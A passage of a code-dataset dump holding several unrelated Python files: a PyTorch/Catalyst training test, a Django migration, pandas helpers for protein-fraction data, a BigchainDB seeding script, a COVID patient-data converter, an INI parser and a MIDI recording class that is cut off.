a\n\nif __name__ == \"__main__\":\n main(sys.argv[1:])\n","sub_path":"algo_heights/fibo.py","file_name":"fibo.py","file_ext":"py","file_size_in_byte":310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"431094699","text":"# flake8: noqa\nimport os\nimport sys\n\nimport torch\nfrom torch.utils.data import DataLoader, TensorDataset\n\nfrom catalyst import dl\n\nif os.getenv(\"USE_APEX\", \"0\") != \"0\" or os.getenv(\"USE_DDP\", \"0\") != \"0\":\n sys.exit()\n\n\n# sample data\nnum_samples, num_features, num_classes = int(1e4), int(1e1), 4\nX = torch.rand(num_samples, num_features)\ny = (torch.rand(num_samples, num_classes) > 0.5).to(torch.float32)\n\n# pytorch loaders\ndataset = TensorDataset(X, y)\nloader = DataLoader(dataset, batch_size=32, num_workers=1)\nloaders = {\"train\": loader, \"valid\": loader}\n\n# model, criterion, optimizer, scheduler\nmodel = torch.nn.Linear(num_features, num_classes)\ncriterion = torch.nn.BCEWithLogitsLoss()\noptimizer = torch.optim.Adam(model.parameters())\nscheduler = torch.optim.lr_scheduler.MultiStepLR(optimizer, [2])\n\n# model training\nrunner = dl.SupervisedRunner()\nrunner.train(\n model=model,\n criterion=criterion,\n optimizer=optimizer,\n scheduler=scheduler,\n loaders=loaders,\n logdir=\"./logdir\",\n num_epochs=3,\n check=True,\n callbacks=[dl.MultiLabelAccuracyCallback(threshold=0.5)],\n)\n","sub_path":"tests/_tests_scripts/dl_z_mvp_classification2.py","file_name":"dl_z_mvp_classification2.py","file_ext":"py","file_size_in_byte":1106,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"265602264","text":"\"\"\"Load some data, fit Discover(), predict on validation data, make some plots, and save the model.\"\"\"\n# %% imports\nimport pandas as pd\nfrom crabnet.data.materials_data import elasticity\nfrom mat_discover.mat_discover_ import Discover\n\n# %% setup\n# set dummy to True for a quicker run --> small dataset, MDS instead of UMAP\ndummy = False\n# set gcv to False for a quicker run --> group-cross validation can take a while\ngcv = False\ndisc = Discover(dummy_run=dummy, device=\"cuda\", target_unit=\"GPa\")\ntrain_df, val_df = disc.data(elasticity, fname=\"train.csv\", dummy=dummy)\ncat_df = pd.concat((train_df, val_df), axis=0)\n\n# %% fit\ndisc.fit(train_df)\n\n# %% predict\nscore = disc.predict(val_df, umap_random_state=42)\n\n# %% leave-one-cluster-out cross-validation\nif gcv:\n disc.group_cross_val(cat_df, umap_random_state=42)\n print(\"scaled test error = \", disc.scaled_error)\n\n# %% plot and save\ndisc.plot()\ndisc.save(dummy=dummy)\n","sub_path":"examples/mat_discover_example.py","file_name":"mat_discover_example.py","file_ext":"py","file_size_in_byte":928,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"407417696","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nfrom django.utils.timezone import utc\nimport embed_video.fields\nimport datetime\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('allinone', '0007_feedbacksuggestions'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='new',\n name='Model',\n field=models.IntegerField(choices=[(1, 'ax'), (2, 'videos')], default=1),\n ),\n migrations.AddField(\n model_name='new',\n name='video',\n field=embed_video.fields.EmbedVideoField(default=datetime.datetime(2015, 10, 17, 20, 25, 37, 699355, tzinfo=utc)),\n preserve_default=False,\n ),\n migrations.AlterField(\n model_name='instagramimage',\n name='image',\n field=models.ImageField(upload_to='images/instagramimages/'),\n ),\n ]\n","sub_path":"nasimsite/allinone/migrations/0008_auto_20151017_2025.py","file_name":"0008_auto_20151017_2025.py","file_ext":"py","file_size_in_byte":955,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"52785136","text":"#!/usr/bin/python2\n# -*- coding: utf-8 -*-\n\n'''\n@author:wanglei1\n'''\n\n\nimport json\nimport os\n\n\nclass JsonConf:\n\n '''\n json configs\n '''\n\n @staticmethod\n def store(data, file_name):\n with open(file_name, 'w') as json_file:\n json_file.write(json.dumps(data, indent=4))\n\n @staticmethod\n def load(file_name):\n if not os.path.exists(file_name):\n with open(file_name, 'w') as json_file:\n pass\n with open(file_name) as json_file:\n try:\n data = json.load(json_file)\n except:\n data = {}\n return data\n\n @staticmethod\n def set(data_dict):\n json_obj = JsonConf.load()\n for key in data_dict:\n json_obj[key] = data_dict[key]\n JsonConf.store(json_obj)\n print(json.dumps(json_obj, indent=4))\n\n\nif __name__ == \"__main__\":\n data = {\"a\": \" 1\", \"f\": \"100\", \"b\": \"3000\"}\n file_name = 'configs.json'\n JsonConf.set(data, file_name)","sub_path":"wrapper/utils/config_util.py","file_name":"config_util.py","file_ext":"py","file_size_in_byte":1004,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"391333017","text":"\n# 2.1.13 実行順制御\nif 1 > 2:\n message = \"もし1が2よりも大きいとしたら\"\nelif 1 > 3:\n message = \"elifは'else if'を表す\"\nelse:\n message = \"すべての条件に当てはまらなければelseが該当する（なくても良い）\"\n\nx = int(input())\nparity = \"even\" if x % 2 == 0 else \"odd\"\n\nx = 0\nwhile x < 10:\n print(x, \"は、10より小さい\")\n x += 1\n\nfor x in range(10):\n print(x, \"は、10より小さい\")\n\nfor x in range(10):\n if x == 3:\n continue\n if x == 5:\n break\n print(x)\n\n\n# 2.1.14 真偽\none_is_less_than_two = 1 < 2\ntrue_equals_false = (True == False)\n\nx = None\nprint(x == None)\nprint(x is None)\n\n\ndef some_function_that_returns_a_string():\n return \"test is very difficult\"\n\n\ns = some_function_that_returns_a_string()\nif s:\n first_char1 = s[0]\nelse:\n first_char1 = \"\"\n\nfirst_char2 = s and s[0]\n\nsafe_x = x or 0\n\nall([True, 1, {3}])\nall([True, 1, {}])\nany([True, 1, {}])\nall([])\nany([])\n","sub_path":"my_work/chapter2/study_python/if_then_else.py","file_name":"if_then_else.py","file_ext":"py","file_size_in_byte":975,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"44009051","text":"import pandas as pd\nimport copy\nimport numpy as np \nfrom scipy.spatial.distance import euclidean\n\ndef filter_df(df,indexes):\n \"\"\"Returns a dataframe that includes info from indicated indexes\n \n Parameters:\n df: (Pandas DataFrame) The original DataFrame\n indexes: (list of str) The list of indexes\n \"\"\"\n head = df.columns\n data = []\n for i in indexes:\n row = []\n for c in head:\n row.append(df.get_value(i,c))\n data.append(row)\n new_df = pd.DataFrame(data,columns=head)\n new_df.index = indexes\n return new_df\n\ndef redact_df(df,columns):\n \"\"\"Returns a dataframe that includes info from indicated columns\n \n Parameters:\n df: (Pandas DataFrame) The original DataFrame\n indexes: (list of str) The list of column names\n \"\"\"\n ind = df.index\n data = []\n for c in columns:\n vert = list(df[c])\n data.append(vert)\n new_df = pd.DataFrame(data)\n new_df = new_df.transpose()\n new_df.columns = columns\n new_df.index = ind\n return new_df\n\ndef get_certain_mef(df,mef):\n \"\"\"Get certain mef or columns from a df that includes cytosolic, membrane, insoluble data\n\n Parameters:\n df: (Pandas DataFrame) The original DataFrame\n mef: (str) The name of the mef, prefix before _cyt, _mem, _ins\n \"\"\"\n types = ['cyt','mem','ins']\n cs = [mef + '_' + t for t in types]\n return redact_df(df,cs)\n\ndef exp_err_adj(c,m,i,p_c,p_m):\n \"\"\"Experimental error adjustment\n \n Parameters:\n c = (float) Cytosolic experimental value\n m = (float) Membrane experimental value\n i = (float) Insoluble experimental value\n p_c = (float) Proportion of actual cytosolic obtained, between 0 and 1\n p_m = (float) Proportion of actual membrane obtained, between 0 and 1\n \"\"\"\n adj_c = c/p_c\n adj_m = m/p_m + (p_c-1)*adj_c\n adj_i = c + m + i - adj_c - adj_m\n\n return [adj_c,adj_m,adj_i]\n\ndef adj_df(df,mef,p_c,p_m):\n \"\"\"Adjusts the df for experimental extraction error\n \n Parameters:\n df: (Pandas DataFrame) The experimentally derived DataFrame\n mef: (str) The MEF or prefix of columns [with suffix _ins and the like]\n p_c = (float) Proportion of actual cytosolic obtained, between 0 and 1\n p_m = (float) Proportion of actual membrane obtained, between 0 and 1\n \"\"\"\n return_df = copy.deepcopy(df)\n return_df.insert(len(return_df.columns),'cyt',0)\n return_df.insert(len(return_df.columns),'mem',0)\n return_df.insert(len(return_df.columns),'ins',0)\n types = ['cyt','mem','ins']\n cols = [mef + '_' + t for t in types]\n \n for index,row in df.iterrows():\n c = float(row.get_value(cols[0]))\n m = float(row.get_value(cols[1]))\n i = float(row.get_value(cols[2]))\n c,m,i = exp_err_adj(c,m,i,p_c,p_m)\n\n return_df.loc[index,'cyt'] = c\n return_df.loc[index,'mem'] = m\n return_df.loc[index,'ins'] = i\n \n return redact_df(return_df,types)\n \ndef text_to_df(filename,index=None,sep='\\t'):\n \"\"\"Converts a text file that is delimited with first row being header to Pandas DataFrame\n\n Parameters:\n filename: (str) The location of the text file\n index: (str) The column that can be used as an index [Optional]\n sep: (str) The separator used in the file\n\n Returns:\n df: (Pandas Dataframe) The desired dataframe\n \"\"\"\n f = open(filename,'r')\n data = []\n head = []\n for line in f:\n line = line.rstrip()\n if len(head) == 0:\n head = line.split(sep)\n \n else:\n data.append(line.split(sep))\n\n df = pd.DataFrame(data,columns=head)\n if index != None:\n df.index = df[index]\n df.drop(index,1,inplace=True)\n\n return df\n\ndef trieuclid(df1,df2,d3):\n \"\"\"Gets a list of the perimeters of the triangle created by the gene locations of each gene in each of df1,2,3...Returns the list of distances and the ordered list of genes...MUST HAVE THE SAME MEF NAME\n\n Parameters:\n df1: (Pandas Dataframe) The first MEF DataFrame\n df2: (Pandas Dataframe) The second MEF DataFrame\n df3: (Pandas Dataframe) The third MEF DataFrame\n \"\"\"\n genes = list(df1.index)\n mef = df1.columns[0].split('_')[0] + '_' + df1.columns[0].split('_')[1]\n c = 'cyt'\n m = 'mem'\n i = 'ins'\n \n incl_dist = []\n incl_genes = []\n for g in genes:\n vecs = []\n for df in [df1,df2,df3]:\n temp = [df.loc[g,c],df.loc[g,m],df.loc[g,i]]\n temp = [float(item) for item in temp]\n df.append(temp)\n\n if sum(vecs[0]) != 0 and sum(vecs[1]) != 0 and sum(vecs[2]) != 0:\n v1 = vecs[0]\n v2 = vecs[1]\n v3 = vecs[2]\n incl_dist.append(euclidean(v1,v2)+euclidean(v1,v3)+euclidean(v2,v3))\n incl_genes.append(g)\n \n return incl_dist,incl_genes\n","sub_path":"basic_tools/basic_tools.py","file_name":"basic_tools.py","file_ext":"py","file_size_in_byte":4934,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"56865196","text":"import random\nimport logging\nimport os.path\n\nimport bigchaindb\nimport bigchaindb.config_utils\n\nfrom server.lib.models.accounts import Account\nfrom server.lib.models.assets import create_asset\n\nlogging.basicConfig(level=logging.INFO)\nlogger = logging.getLogger(__name__)\n\ntry:\n CONFIG_FILE = os.environ['BIGCHAINDB_CONFIG']\nexcept KeyError:\n CONFIG_FILE = os.path.join(os.path.dirname(__file__), '.bigchaindb_examples')\n\nAPPS = [\n {\n 'name': 'ontherecord',\n 'num_accounts': 3,\n 'num_assets': 0,\n 'payload_func': (\n lambda x: {\n 'app': 'ontherecord',\n 'content': x\n }\n )\n },\n {\n 'name': 'sharetrader',\n 'num_accounts': 3,\n 'num_assets': 64,\n 'payload_func': (\n lambda i: {\n 'app': 'sharetrader',\n 'content': {\n 'x': int(i / 8),\n 'y': int(i % 8)\n }\n }\n )\n },\n {\n 'name': 'interledger',\n 'num_accounts': 3,\n 'num_assets': 0,\n 'payload_func': (\n lambda x: {\n 'app': 'interledger',\n 'content': x\n }\n )\n }\n]\n\n\ndef get_bigchain(conf=CONFIG_FILE):\n if os.path.isfile(conf):\n bigchaindb.config_utils.autoconfigure(filename=conf, force=True)\n\n return bigchaindb.Bigchain()\n\nbigchain = get_bigchain()\nlogging.info('INIT: bigchain initialized with database: {}'.format(bigchaindb.config['database']['name']))\n\n\ndef main():\n\n for app in APPS:\n accounts = []\n for i in range(app['num_accounts']):\n account = Account(bigchain=bigchain,\n name='account_{}'.format(i),\n db=app['name'])\n accounts.append(account)\n\n logging.info('INIT: {} accounts initialized for app: {}'.format(len(accounts), app['name']))\n\n assets = []\n for i in range(app['num_assets']):\n asset = create_asset(bigchain=bigchain,\n to=accounts[random.randint(0, app['num_accounts'] - 1)].vk,\n payload=app['payload_func'](i))\n assets.append(asset)\n logging.info('INIT: {} assets initialized for app: {}'.format(len(assets), app['name']))\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"init_db.py","file_name":"init_db.py","file_ext":"py","file_size_in_byte":2387,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"141723439","text":"#!/bin/python\n\nimport json\nimport csv\nimport os\nimport datetime\nimport collections\nfrom copy import deepcopy\n\nclass DataHandler():\n def __init__(self, patients_csvfile=None, data_summary_csvfile=None, total_sickbeds=None):\n datetime_now = datetime.datetime.now()\n self.datetime_now_str = datetime_now.strftime(\"%Y/%m/%d %H:%M\")\n\n self.start_date = None\n self.end_date = datetime_now if datetime_now.hour >= 22 else \\\n datetime_now - datetime.timedelta(days=1)\n\n self.patients_csvfile = patients_csvfile\n self.patients_data = self.__import_patients_data()\n\n self.data_summary_csvfile = data_summary_csvfile\n self.data_summary = self.__import_data_summary()\n\n self.total_patients = None\n self.total_discharges = None\n self.total_deaths = None\n self.current_inpatients = None\n self.total_sickbeds = total_sickbeds\n self.__classfy_data_summary()\n\n self.data = {\n \"patients\": {\n \"date\": self.datetime_now_str,\n \"data\": {}\n },\n \"patients_summary\": {\n \"date\": self.datetime_now_str,\n \"data\": {}\n },\n \"inspections_summary\": {\n \"date\": self.datetime_now_str,\n \"data\": {}\n },\n \"age\": {\n \"date\": self.datetime_now_str,\n \"data\": {}\n },\n \"sickbeds_summary\": {\n \"date\": self.datetime_now_str,\n \"data\": {}\n },\n \"main_summary\": {},\n \"querents\": {\n \"date\": self.datetime_now_str,\n \"data\": {}\n },\n \"lastUpdate\": self.datetime_now_str\n }\n\n def generate_data(self):\n self.data[\"patients\"][\"data\"] = self.generate_patients()\n self.data[\"patients_summary\"][\"data\"] = self.generate_patients_summary_by_date()\n self.data[\"age\"][\"data\"] = self.generate_patients_summary_by_age()\n self.data[\"inspections_summary\"][\"data\"] = self.generate_inspections_summary()\n self.data[\"sickbeds_summary\"][\"data\"] = self.generate_sickbeds_summary()\n self.data[\"main_summary\"] = self.generate_main_summary()\n self.data[\"querents\"][\"data\"] = self.generate_querents()\n\n return self.data\n\n def generate_patients(self):\n patients = []\n for d in self.patients_data:\n p = {\n \"リリース日\": d[\"公表_年月日\"].strftime(\"%Y-%m-%d\") + \"T08:00:00\",\n \"居住地\": d[\"居住地\"],\n \"年代\": d[\"年代\"],\n \"性別\": d[\"性別\"],\n \"退院\": d[\"退院済フラグ\"],\n \"date\": d[\"公表_年月日\"].strftime(\"%Y-%m-%d\")\n }\n patients.append(p)\n\n return patients\n\n def generate_patients_summary_by_date(self):\n summary_by_date = self.__summarize_data(self.patients_data, \"公表_年月日\")\n patients_summary_by_date = self.__fill_in_zero_value_at_non_exists_date(\n summary_by_date)\n\n patients_summary = []\n for date, total in patients_summary_by_date.items():\n p = {\n \"日付\": date.strftime(\"%Y-%m-%d\"),\n \"小計\": total,\n }\n patients_summary.append(p)\n\n return patients_summary\n\n def generate_patients_summary_by_age(self):\n summary_by_age = self.__summarize_data(self.patients_data, \"年代\")\n null_data = {\"10代未満\": 0}\n for i in range(10, 110, 10):\n null_data[str(i) + \"代\"] = 0\n\n d = self.__deepmerge(null_data, summary_by_age)\n patients_summary_by_age = {\n \"10代以下\": d[\"10代\"] + d[\"10代未満\"],\n \"20代〜30代\": d[\"20代\"] + d[\"30代\"],\n \"40代〜50代\": d[\"40代\"] + d[\"50代\"],\n \"60代〜70代\": d[\"60代\"] + d[\"70代\"],\n \"80代以上\": d[\"80代\"] + d[\"90代\"] + d[\"100代\"],\n }\n\n return patients_summary_by_age\n\n def generate_inspections_summary(self):\n inspections_summary = []\n for d in self.data_summary:\n if d[\"日付\"] <= self.end_date:\n p = {\n \"日付\": d[\"日付\"].strftime(\"%Y-%m-%d\"),\n \"小計\": d[\"検査実施件数\"]\n }\n inspections_summary.append(p)\n\n return inspections_summary\n\n def generate_sickbeds_summary(self):\n sickbeds_summary = {\n \"入院患者数\": self.current_inpatients,\n \"病床数\": self.total_sickbeds - self.current_inpatients\n }\n\n return sickbeds_summary\n\n def generate_main_summary(self):\n main_summary = {\n \"date\": self.datetime_now_str,\n \"attr\": \"累計\",\n \"value\": self.total_patients,\n \"children\": [\n {\"attr\": \"入院中\", \"value\": self.current_inpatients},\n {\"attr\": \"死亡\", \"value\": self.total_deaths},\n {\"attr\": \"退院\", \"value\": self.total_discharges},\n ]\n }\n\n return main_summary\n\n def generate_querents(self):\n querents = []\n for d in self.data_summary:\n if d[\"相談窓口相談件数\"] is not None:\n q = {\n \"日付\": d[\"日付\"].strftime(\"%Y-%m-%d\"),\n \"小計\": d[\"相談窓口相談件数\"]\n }\n querents.append(q)\n\n return querents\n\n def __import_patients_data(self):\n # 公表_年月日が空の場合はfilterする\n patients_data = list(filter(\n lambda x: len(x[\"公表_年月日\"]) != 0,\n self.__load_csvfile(self.patients_csvfile)\n ))\n\n for d in patients_data:\n d[\"公表_年月日\"] = datetime.datetime.strptime(d[\"公表_年月日\"], '%Y/%m/%d')\n\n return patients_data\n\n def __import_data_summary(self):\n data_summary = self.__load_csvfile(self.data_summary_csvfile)\n for d in data_summary:\n d[\"日付\"] = datetime.datetime.strptime(\n d[\"日付\"], \"%m月%d日\").replace(year=2020)\n d[\"検査実施件数\"] = int(d[\"検査実施件数\"] or 0)\n d[\"うち陽性\"] = int(d[\"うち陽性\"] or 0)\n d[\"相談窓口相談件数\"] = int(\n d[\"相談窓口相談件数\"]) if len(\n d[\"相談窓口相談件数\"]) != 0 else None\n d[\"退院\"] = int(d[\"退院\"] or 0)\n d[\"死亡\"] = int(d[\"死亡\"] or 0)\n\n start_date = data_summary[-1][\"日付\"] + datetime.timedelta(days=1)\n for date in self.__daterange(start_date, self.end_date):\n data_summary.append({\n \"日付\": date,\n \"検査実施件数\": 0,\n \"うち陽性\": 0,\n \"相談窓口相談件数\": None,\n \"退院\": 0,\n \"死亡\": 0\n })\n\n return data_summary\n\n def __load_csvfile(self, csvfile, encoding='utf_8_sig'):\n json_list = []\n with open(csvfile, 'r', encoding=encoding) as f:\n for row in csv.DictReader(f):\n json_list.append(row)\n\n return json.loads(json.dumps(json_list))\n\n def __summarize_data(self, data, key):\n counter = [d[key] for d in data]\n summary = {}\n for val, total in collections.Counter(counter).items():\n summary[val] = total\n\n return summary\n\n def __fill_in_zero_value_at_non_exists_date(self, summary_by_date):\n start_date = list(summary_by_date.keys())[0]\n null_date = dict.fromkeys(\n self.__daterange(\n start_date, self.end_date), 0)\n\n return self.__deepmerge(null_date, summary_by_date)\n\n def __classfy_data_summary(self):\n self.total_patients = sum([d[\"うち陽性\"] for d in self.data_summary])\n self.total_discharges = sum([d[\"退院\"] for d in self.data_summary])\n self.total_deaths = sum([d[\"死亡\"] for d in self.data_summary])\n\n self.current_inpatients = self.total_patients - \\\n self.total_discharges - self.total_deaths\n\n def __deepmerge(self, src, update):\n result = deepcopy(src)\n for k, v in update.items():\n if k in result and isinstance(result[k], dict):\n result[k] = self.__deepmerge(result[k], v)\n else:\n result[k] = deepcopy(v)\n return result\n\n def __daterange(self, start_date, end_date):\n for n in range((end_date - start_date).days + 1):\n yield start_date + datetime.timedelta(n)\n\n","sub_path":"tool/convert/modules/DataHandler.py","file_name":"DataHandler.py","file_ext":"py","file_size_in_byte":8709,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"568583316","text":"\"\"\"\nfrom: https://bitbucket.org/maascamp/pyconfigini/src/f2b0f95b53d5/pyconfigini.py?at=default\n\nAn .ini file parser that follows the same rules as Zend_Config_Ini\n(see http://framework.zend.com/manual/en/zend.config.adapters.ini.html\nfor details) with the exception that the comment character is '#'\ninstead of ';'.\n\nValues are converted to Python types where possible and returned as \nstrings otherwise (i.e. 834 will convert to an int, but /some/path\nwill convert to a string).\n\nLines beginning with '#' are treated as comments and will be ignored.\n\"\"\"\nimport re\nfrom collections import OrderedDict\nfrom copy import deepcopy\nfrom ast import literal_eval\n\n__all__ = ['parse_ini']\n\ndefault = '__default__'\n\nreg_sec = re.compile('\\[\\s?([\\w]+)\\s?\\]', re.IGNORECASE)\nreg_isec = re.compile('\\[\\s?([\\w]+)\\s?:\\s?([\\w]+)\\s?\\]', re.IGNORECASE)\n\ndef parse_ini(ini_path, env=None):\n \n ini = _Obj({default: _Obj()})\n current_section = default\n with open(ini_path) as f:\n for line in f:\n line = line.strip()\n if not line or line.isspace() or line[0] == '#': continue\n if line[0] == '[':\n res = reg_sec.search(line)\n if res is not None:\n section = res.group(1)\n ini[section] = deepcopy(ini[default])\n else:\n res = reg_isec.search(line)\n if res is None:\n raise SyntaxError('Invalid section declaration.')\n section = res.group(1)\n parent = res.group(2)\n if parent not in ini:\n raise MissingSectionError(\"'%s' inherits from '%s' which hasn't been declared.\" % (section, parent))\n ini[section] = deepcopy(ini[parent])\n current_section = section\n else:\n pieces = line.split('=', 1)\n vals = pieces[0].strip().split('.')\n vals.reverse()\n data = _cast(pieces[1].strip())\n working_obj = ini[current_section]\n while vals:\n if len(vals) == 1:\n working_obj[vals.pop()] = data\n else:\n val = vals.pop()\n if val not in working_obj:\n working_obj[val] = _Obj()\n working_obj = working_obj[val]\n \n if env is not None:\n if env not in ini:\n raise MissingSectionError('The section being loaded does not exist.')\n return ini[env]\n return ini\n\ndef _cast(val):\n try:\n val = literal_eval(val)\n except:\n pass\n return val\n \nclass _Obj(OrderedDict):\n \"\"\" A dict that allows for object-like property access syntax.\n \"\"\"\n def __copy__(self):\n data = self.__dict__.copy()\n return _Obj(data)\n \n def __getattr__(self, name):\n try:\n return self[name]\n except KeyError:\n try:\n return self[default][name]\n except KeyError:\n raise AttributeError(name)\n\nclass MissingSectionError(Exception):\n \"\"\" Thrown when a section header inherits from a section\n that has yet been undeclared.\n \"\"\"","sub_path":"mamba/config/pyconfigini.py","file_name":"pyconfigini.py","file_ext":"py","file_size_in_byte":3309,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"391952573","text":"from __future__ import print_function\r\n\r\nimport os\r\nimport sys\r\nimport mido\r\nimport time\r\nimport math\r\nimport datetime\r\nimport threading\r\nimport collections\r\nimport MusicTheory\r\n\r\n\r\nclass RecordMidi : \r\n\r\n def __init__ ( self ) : \r\n self.messagesFromMidiInstrument = {} \r\n self.midiMessagesNoOverlaps = {} \r\n self.midiMessages = {} \r\n self.initialClk = 0\r\n self.phraseLength = 4\r\n \r\n\r\n\r\n self.tsInfo = { 'tsNumerator': 4, 'tsDenominator': 4, 'measureLength': 1920, 'resolution': 480, 'format':0 , 'bpm': 120 } \r\n\r\n self.oneBeatInSeconds = 60.0 / self.tsInfo['bpm'] \r\n self.oneBeatInMilliSeconds = round ( self.oneBeatInSeconds*1000, 3 ) \r\n \r\n\r\n self.quarterNoteInBeats = float ( ( (1/4.0) ) / (1.0/self.tsInfo['tsDenominator']) ) \r\n self.quarterNoteInSeconds = self.quarterNoteInBeats * self.oneBeatInSeconds \r\n self.quarterNoteInMilliSeconds = round ( self.quarterNoteInSeconds*1000, 3 ) \r\n\r\n # resolution = ppq = pulses per quarter note = ticks per quarter note\r\n self.oneTickInSeconds = round ( ( self.quarterNoteInSeconds / 480 ) , 7 )\r\n self.oneTickInMilliSeconds = round ( self.oneTickInSeconds*1000, 3 ) \r\n \r\n print ( \"1 Tick in Seconds: \", self.oneTickInSeconds ) \r\n print ( \"1 Tick in Milli Seconds: \", self.oneTickInMilliSeconds ) \r\n\r\n\r\n self.oneSecondInTicks = round ( 1.0/self.oneTickInSeconds, 0 ) \r\n self.oneMilliSecondInTicks = round ((1.0/self.oneTickInMilliSeconds), 2 ) \r\n\r\n\r\n print ( \"1 Second in Ticks: \", self.oneSecondInTicks ) \r\n print ( \"1 Milli Seconds in Ticks: \", self.oneMilliSecondInTicks ) \r\n \r\n self.ticksForPhraseLength = self.tsInfo['measureLength'] * self.phraseLength\r\n self.secondsForPhraseLength = int ( self.ticksForPhraseLength * self.oneTickInSeconds )\r\n \r\n print ( \"Phrase Length: \", self.phraseLength, \"Num Seconds for Phrase: \", self.secondsForPhraseLength ) \r\n\r\n #sys.exit(0) \r\n\r\n\r\n def run ( self ) : \r\n print ( \"Initial Clock: \", self.initialClk ) \r\n \r\n\r\n mido.set_backend('mido.backends.rtmidi')\r\n inport = mido.open_input()\r\n\r\n print ( \"Time: \", time.time() ) \r\n\r\n\r\n try:\r\n initialNotePlayed = False\r\n numNotes = 0 \r\n endRecording = False\r\n with mido.open_input() as port:\r\n print('Using {}'.format(port))\r\n\r\n print(\"Initial Clk: \", self.initialClk, \"Waiting for messages...\" ) \r\n \r\n for message in port:\r\n\r\n if ( not initialNotePlayed and message.type == 'note_on' ) : \r\n initialNotePlayed = True \r\n self.initialClk = message.time\r\n print ( \"\\nStarted Recording\" ) \r\n print(\"First Note Played, Initial Clk: \", self.initialClk ) \r\n\r\n if ( message.time - self.initialClk >= self.secondsForPhraseLength ) :\r\n print ( \"Initial Clk: \", self.initialClk, \"Current Time: \", message.time, self.phraseLength, \"measures recorded: \", \"Number of seconds recorded: \", self.secondsForPhraseLength, \"Stop Recording\" ) \r\n endRecording = True\r\n break \r\n\r\n\r\n print ( message ) \r\n if ( message.type == 'note_on' or message.type == 'note_off' ) : \r\n if ( message.velocity == 0 ) : \r\n self.messagesFromMidiInstrument[numNotes] = { 'event': 'note_off', 'pitch': message.note, 'time': message.time, 'velocity': message.velocity }\r\n else :\r\n self.messagesFromMidiInstrument[numNotes] = { 'event': message.type, 'pitch': message.note, 'time': message.time, 'velocity': message.velocity }\r\n numNotes += 1\r\n \r\n\r\n\r\n\r\n\r\n except KeyboardInterrupt:\r\n pass\r\n\r\n for note in self.messagesFromMidiInstrument : \r\n self.messagesFromMidiInstrument[note]['time'] = round ( self.messagesFromMidiInstrument[note]['time'] - self.initialClk , 4 ) \r\n self.messagesFromMidiInstrument[note]['starttick'] = round ( self.messagesFromMidiInstrument[note]['time'] * self.oneSecondInTicks, 0 ) \r\n\r\n print ( note, self.messagesFromMidiInstrument[note] ) \r\n\r\n \r\n #generate start and end times in ticks\r\n self.generateStartAndEndTimes() \r\n\r\n #quantize notes\r\n sixteenth = 120\r\n eighth = 240\r\n self.selfQuantizeNotes ( eighth ) \r\n self.selfQuantizeNotes ( sixteenth ) \r\n\r\n #remove overlaps\r\n self.removeOverlaps () \r\n\r\n # create Midi\r\n self.createMidi () \r\n\r\n def removeOverlaps ( self ) : \r\n \r\n\r\n length = len(self.midiMessages) \r\n overlappedIndex = [] \r\n\r\n for note in self.midiMessages : \r\n \r\n s1 = self.midiMessages[note]['starttick'] \r\n actualDuration = self.midiMessages[note]['duration'] * ( self.midiMessages[note]['velocity'] / 127.0 ) \r\n e1 = self.midiMessages[note]['starttick'] + actualDuration\r\n\r\n for nextNote in range ( note+1, length, 1 ) : \r\n\r\n s2 = self.midiMessages[nextNote]['starttick'] \r\n actualDuration = self.midiMessages[nextNote]['duration'] * ( self.midiMessages[nextNote]['velocity'] / 127.0 ) \r\n e2 = self.midiMessages[nextNote]['starttick'] + actualDuration\r\n \r\n \r\n if ( s1 <= e2 and e1 >= s2 ) : # overlap exists\r\n overlappedIndex.append ( nextNote ) \r\n \r\n \r\n overlappedIndex = list(set( overlappedIndex ) ) \r\n print() \r\n print ( \"Overlapped Index: \", overlappedIndex ) \r\n\r\n for index in sorted(overlappedIndex, reverse=True):\r\n del self.midiMessages[index]\r\n\r\n print ( \"Midi Messages after removing overlap\" ) \r\n \r\n for note in self.midiMessages : \r\n print ( note, self.midiMessages[note]['pitch'], self.midiMessages[note]['starttick'], self.midiMessages[note]['endtick'], self.midiMessages[note]['velocity'], \r\n self.midiMessages[note]['duration'], self.midiMessages[note]['measure'] )\r\n \r\n\r\n\r\n def selfQuantizeNotes ( self, ticksForQuantization ) : \r\n \r\n for note in self.midiMessages : \r\n\r\n div = self.midiMessages[note]['starttick'] // ticksForQuantization\r\n mod = self.midiMessages[note]['starttick'] % ticksForQuantization\r\n\r\n if ( mod != 0 ) : # if note does not start on a quantized note\r\n if ( mod >= ticksForQuantization/2 ) : \r\n self.midiMessages[note]['starttick'] = int((div + 1 ) * ticksForQuantization )\r\n else : \r\n self.midiMessages[note]['starttick'] = int( div * ticksForQuantization )\r\n\r\n self.midiMessages[note]['endtick'] = int(self.midiMessages[note]['starttick'] + self.midiMessages[note]['duration'])\r\n self.midiMessages[note]['measure'] = int( self.midiMessages[note]['starttick'] / self.tsInfo['measureLength'] ) + 1\r\n self.midiMessages[note]['measureGranularity'] = round ( ( float(self.midiMessages[note]['starttick']) / self.tsInfo['measureLength'] ) + 1, 2 ) \r\n\r\n \r\n print() \r\n for note in self.midiMessages : \r\n print ( note, self.midiMessages[note]['pitch'], self.midiMessages[note]['starttick'], self.midiMessages[note]['endtick'], self.midiMessages[note]['granularity'], \r\n self.midiMessages[note]['tie'], self.midiMessages[note]['velocity'], self.midiMessages[note]['duration'], self.midiMessages[note]['measure'], \r\n self.midiMessages[note]['measureGranularity'], \r\n )\r\n\r\n \r\n\r\n\r\n def createMidi ( self ) :\r\n\r\n # 